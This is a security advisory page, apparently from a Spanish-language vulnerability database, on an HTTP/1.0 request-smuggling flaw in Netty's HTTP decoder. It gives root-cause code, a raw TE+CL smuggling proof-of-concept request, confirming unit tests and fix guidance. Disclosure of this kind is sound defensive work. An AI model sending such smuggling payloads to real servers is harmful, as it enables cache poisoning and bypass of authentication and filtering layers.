Media

Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

  • Publicada: 07.05.2026
  • Actualizado: 11.10.2026 13:20

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Field Value
Library io.netty:netty-codec-http
Component codec-http — HttpObjectDecoder
Severity HIGH
Affects HEAD, commit 4f3533ae confirmed

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.


Root Cause

java
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
    this.chunked = true;
    if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
        handleTransferEncodingChunkedWithContentLength(message);  // strips CL — HTTP/1.1 only
    }
    return State.READ_CHUNK_SIZE;
}

// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
    contentLength = Long.MIN_VALUE;
}

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.


Proof of Concept

POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.


Conditions Required

  1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes).
  2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
  3. No additional HTTP/1.0 stripping layer between attacker and Netty.

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.


Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

java
package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.*;

public class NettySmugglingSec001Test {

    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
    @Test
    public void http10_contentLengthNotStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.0\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
        // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
        ch.finishAndReleaseAll();
    }

    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
    @Test
    public void http11_contentLengthStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.1\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
        ch.finishAndReleaseAll();
    }
}

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) io.netty:netty-codec-http >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final

Referencias

Puntuación CVSS 5.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Debilidad (CWE)
CWE-444
Plataforma
Java / Kotlin (Maven)
Paquete
io.netty:netty-codec-http
Publicada
07.05.2026
Actualizado
11.10.2026 13:20

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-xxqh-mfjm-7mv9 - CC BY 4.0

Historial de vulnerabilidades: io.netty:netty-codec-http

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (24) en el archivo
Entradas en total
24
Primera → última
02.2020 08.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 6
  • Media 16
  • Baja 1

Divulgaciones por año

  1. 2020: 1
  2. 2021: 2
  3. 2022: 2
  4. 2023: 0
  5. 2024: 1
  6. 2025: 2
  7. 2026: 16
Gravedad:
  1. Alta CVE-2026-56745 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  2. Alta · 7.5 CVE-2026-55833 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  3. Alta · 7.5 CVE-2026-55831 >= 4.2.0.Final, < 4.2.16.Final, >= 4.1.0.Final, < 4.1.136.Final 4.2.16.Final, 4.1.136.Final
  4. Alta · 7.5 CVE-2026-42587 >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final
  5. Alta · 7.3 CVE-2026-42584 >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final
  6. Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization esta entrada
    Media · 5.8 CVE-2026-42581 >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final 4.2.13.Final, 4.1.133.Final
  7. Alta · 7.5 CVE-2026-33870 < 4.1.132.Final, >= 4.2.0.Alpha1, < 4.2.10.Final 4.1.132.Final, 4.2.10.Final
  8. Crítica · 9.1 CVE-2019-20444 < 4.1.44 4.1.44

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.